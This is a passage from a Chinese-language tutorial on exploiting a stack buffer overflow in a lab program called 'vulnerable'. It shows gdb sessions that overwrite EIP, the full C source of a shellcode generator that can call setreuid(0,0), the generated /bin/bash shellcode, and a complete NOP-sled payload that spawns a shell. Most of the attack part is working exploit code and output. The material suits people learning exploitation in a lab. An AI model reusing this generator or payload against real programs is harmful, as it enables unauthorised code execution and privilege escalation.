下面我们用gdb调试,看一些溢出的过程,具体分析就不写了,相信熟悉gdb的话对这些调试信息会一目了然的:
(gdb) b *main+41 Breakpoint 1 at 0x80483ed: file vulnerable.c, line 11. (gdb) r `perl -e 'print "\x41"x516'` Starting program: /root/pentest/vulnerable `perl -e 'print "\x41"x516'` Breakpoint 1, main (argc=0, argv=0xbffff254) at vulnerable.c:11 11 } (gdb) i r ebp ebp 0xbffff1a8 0xbffff1a8 (gdb) i r esp esp 0xbfffef90 0xbfffef90 (gdb) i r eip eip 0x80483ed 0x80483ed <main+41> (gdb) x/550bx $esp 0xbfffef90: 0xac 0xef 0xff 0xbf 0xf6 0xf3 0xff 0xbf 0xbfffef98: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0xbfffefa0: 0xa4 0xf0 0xff 0xbf 0x08 0x00 0x00 0x00 0xbfffefa8: 0x3c 0xd5 0x12 0x00 0x41 0x41 0x41 0x41 0xbfffefb0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbfffefb8: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbfffefc0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbfffefc8: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbfffefd0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbfffefd8: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 ……………………………………………………………………………………………… 0xbffff198: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff1a0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff1a8: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff1b0: 0x00 0x00 0x00 0x00 0x54 0xf2 (gdb) (gdb) stepi 0x080483ee in main (argc=0, argv=0xbffff254) at vulnerable.c:11 11 } (gdb) i r ebp ebp 0x41414141 0x41414141 (gdb) i r esp esp 0xbffff1ac 0xbffff1ac (gdb) i r eip eip 0x80483ee 0x80483ee <main+42> (gdb) x/10bx $esp 0xbffff1ac: 0x41 0x41 0x41 0x41 0x00 0x00 0x00 0x00 0xbffff1b4: 0x54 0xf2 (gdb) stepi 0x41414141 in ?? () (gdb) i r eip eip 0x41414141 0x41414141 (gdb) 既然我们已经找到eip返回地址的位置,那么就可以覆写返回地址,控制程序的执行流程。 接下来,首先需要一段shellcode,关于如何编写shellcode的问题,我们留到下一节讲解,这一节中我们使用一个从网上找到的shellcode生成程序来生成一段shellcode。Shellcode生成程序源码为: /* [] Shellcode Generator null byte free. [] [] Author: certaindeath [] [] Site: certaindeath.netii.net (at the moment under construction) [] [] This program generates a shellcode which uses the stack to store the command (and its arguments). [] [] Afterwords it executes the command with the system call "execve". [] [] The code is a bit knotty, so if you want to understand how it works, I've added an example of assembly at the end. [] */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <linux/types.h> #define SETRUID 0 //set this to 1 if you want the shellcode to do setreuid(0,0) before the shell command void print_c(__u8*,int); void push_shc(__u8*, char*, int*); int main(int argc, char *argv[]){ char cmd[255], *a; FILE *c; int k=0, totl=(SETRUID ? 32:22), b,b1, i, tmp=0, shp=2; __u8 *shc,start[2]={0x31,0xc0}, end[16]={0xb0,0x0b,0x89,0xf3,0x89,0xe1,0x31,0xd2,0xcd,0x80,0xb0,0x01,0x31,0xdb,0xcd,0x80}, struid[10]={0xb0,0x46,0x31,0xdb,0x31,0xc9,0xcd,0x80,0x31,0xc0}; if(argc<2){ printf(" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n" "| Shellcode Generator |\n" "| by certaindeath |\n" "| |\n" "| Usage: ./generator <cmd> |\n" " ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n"); _exit(1); } a=(char *)malloc((9+strlen(argv[1]))*sizeof(char)); //find the command path a[0]=0; strcat(a, "whereis "); strcat(a, argv[1]); c=popen(a, "r"); while(((cmd[0]=fgetc(c))!=' ')&&(!feof(c))); while(((cmd[k++]=fgetc(c))!=' ')&&(!feof(c))); cmd[--k]=0; if(k==0){ printf("No executables found for the command \"%s\".\n", argv[1]); _exit(1); } if(strlen(cmd)>254){ printf("The lenght of the command path can't be over 254 bye.\n"); _exit(1); } for(i=2;i<argc;i++) if(strlen(argv[i])>254){ printf("The lenght of each command argument can't be over 254 byte.\n"); _exit(1); } //work out the final shellcode lenght b=(k%2); b1=(b==1) ? (((k-1)/2)%2) : ((k/2)%2); totl+=(6+5*((k-(k%4))/4)+4*b1+7*b); for(i=2; i<argc;i++){ k=strlen(argv[i]); b=(k%2); b1=(b==1) ? (((k-1)/2)%2) : ((k/2)%2); totl+=(6+5*((k-(k%4))/4)+4*b1+7*b); } totl+=4*(argc-2); printf("Shellcode lenght: %i\n", totl); //build the shellcode shc=(__u8 *)malloc((totl+1)*sizeof(__u8)); memcpy(shc, start, 2); if(SETRUID){ memcpy(shc+shp, struid, 10); shp+=10; } if(argc>2) push_shc(shc, argv[argc-1], &shp); else push_shc(shc, cmd, &shp); memset(shc+(shp++), 0x89, 1); memset(shc+(shp++), 0xe6, 1); if(argc>2){ for(i=argc-2;i>1;i--) push_shc(shc, argv[i], &shp); push_shc(shc, cmd, &shp); } memset(shc+(shp++), 0x50, 1); memset(shc+(shp++), 0x56, 1); if(argc>2){ for(i=argc-2;i>1;i--){ memset(shc+(shp++), 0x83, 1); memset(shc+(shp++), 0xee, 1); memset(shc+(shp++), strlen(argv[i])+1, 1); memset(shc+(shp++), 0x56, 1); } memset(shc+(shp++), 0x83, 1); memset(shc+(shp++), 0xee, 1); memset(shc+(shp++), strlen(cmd)+1, 1); memset(shc+(shp++), 0x56, 1); } memcpy(shc+shp, end, 16); print_c(shc,totl); return 0; } void print_c(__u8 *s,int l){ int k; for(k=0;k<l;k++){ printf("\\x%.2x", s[k]); if(((k+1)%8)==0) printf("\n"); } printf("\n"); } void push_shc(__u8 *out, char *str, int *sp){ int i=strlen(str), k, b, b1, tmp=i; __u8 pushb_0[6]={0x83,0xec,0x01,0x88,0x04,0x24},pushb[6]={0x83,0xec,0x01,0xc6,0x04,0x24}; memcpy(out+(*sp), pushb_0, 6); *sp+=6; for(k=0;k<((i-(i%4))/4);k++){ memset(out+((*sp)++), 0x68, 1); tmp-=4; memcpy(out+(*sp), str+tmp, 4); *sp+=4; } b=(i%2); b1=(b==1) ? (((i-1)/2)%2) : ((i/2)%2); if(b1){ memset(out+((*sp)++), 0x66, 1); memset(out+((*sp)++), 0x68, 1); tmp-=2; memcpy(out+(*sp), str+tmp, 2); *sp+=2; } if(b){ memcpy(out+(*sp), pushb, 6); *sp+=6; memcpy(out+((*sp)++), str+(--tmp), 1); } } /* Here is the assembly code of a shellcode which executes the command "ls -l /dev". This is the method used by the shellcode generator. .global _start _start: xorl %eax, %eax ;clear eax subl $1, %esp ; "/dev" pushed into the stack with a null byte at the end movb %al, (%esp) push {1}x7665642f movl %esp, %esi ;esp(address of "/dev") is saved in esi subl $1, %esp ;"-l" pushed into the stack with a null byte at the end movb %al, (%esp) pushw {1}x6c2d subl $1, %esp ;"/bin/ls" pushed into the stack with a null byte at the end movb %al, (%esp) push {1}x736c2f6e pushw {1}x6962 subl $1, %esp movb {1}x2f, (%esp) ;now the vector {"/bin/ls", "-l", "/dev", NULL} will be created into the stack push %eax ;the NULL pointer pushed into the stack push %esi ;the address of "/dev" pushed into the stack subl $3, %esi ;the lenght of "-l"(with a null byte) is subtracted from the address of "/dev" push %esi ;to find the address of "-l" and then push it into the stack subl $8, %esi ;the same thing is done with the address of "/bin/ls" push %esi movb $11, %al ;finally the system call execve("/bin/ls", {"/bin/ls", "-l", "/dev", NULL}, 0) movl %esi, %ebx ;is executed movl %esp, %ecx xor %edx, %edx int {1}x80 movb $1, %al ;_exit(0); xor %ebx, %ebx int {1}x80 */ |
使用方法是:
root@linux:~/pentest# gcc -o shellcode_generator shellcode_generator.c root@linux:~/pentest# ./shellcode_generator /bin/bash Shellcode lenght: 45 \x31\xc0\x83\xec\x01\x88\x04\x24 \x68\x62\x61\x73\x68\x68\x62\x69 \x6e\x2f\x83\xec\x01\xc6\x04\x24 \x2f\x89\xe6\x50\x56\xb0\x0b\x89 \xf3\x89\xe1\x31\xd2\xcd\x80\xb0 \x01\x31\xdb\xcd\x80 root@linux:~/pentest# |
现在,提供一种填充buffer覆写返回地址的方案(不唯一,只提供一种可行的方案):
#################################################################
“\x90” * 431 + shellcode(45) + shellcode地址(4字节) * 10 == 516B
#################################################################
其中,“\x90”代表NOP空指令,故shellcode地址可以替换为自buffer起始地址和shellcode起始地址之间的任意一个地址。
到目前为止,我们已经构造出了我们的溢出代码,如下:
(gdb) run `perl -e 'print "\x90"x431,"\x31\xc0\x83\xec\x01\x88\x04\x24\x68\x62\x61\x73\x68\x68\x62\x69\x6e\x2f\x83\xec\x01\xc6\x04\x24\x2f\x89\xe6\x50\x56\xb0\x0b\x89\xf3\x89\xe1\x31\xd2\xcd\x80\xb0\x01\x31\xdb\xcd\x80","\xac\xef\xff\xbf"x10'` The program being debugged has beenstarted already. Start it from the beginning? (y or n)y Starting program:/root/pentest/vulnerable `perl -e 'print "\x90"x431,"\x31\xc0\x83\xec\x01\x88\x04\x24\x68\x62\x61\x73\x68\x68\x62\x69\x6e\x2f\x83\xec\x01\xc6 \x04\x24\x2f\x89\xe6\x50\x56\xb0\x0b\x89\xf3\x89\xe1\x31\xd2\xcd\x80\xb0\x01\x31\xdb\xcd\x80", "\xac\xef\xff\xbf"x10'` process3724 is executing new program: /bin/bash root@linux:/root/pentest# exit exit Program exited normally. (gdb) |
可以看到,我们的溢出代码成功的执行了shellcode,并获得了相应的shell。
到此为止,栈溢出攻击成功。
附:由于%gs验证码的存在,在开启%gs校验时,上面的方案只能在gdb调试环境下成功完成栈溢出。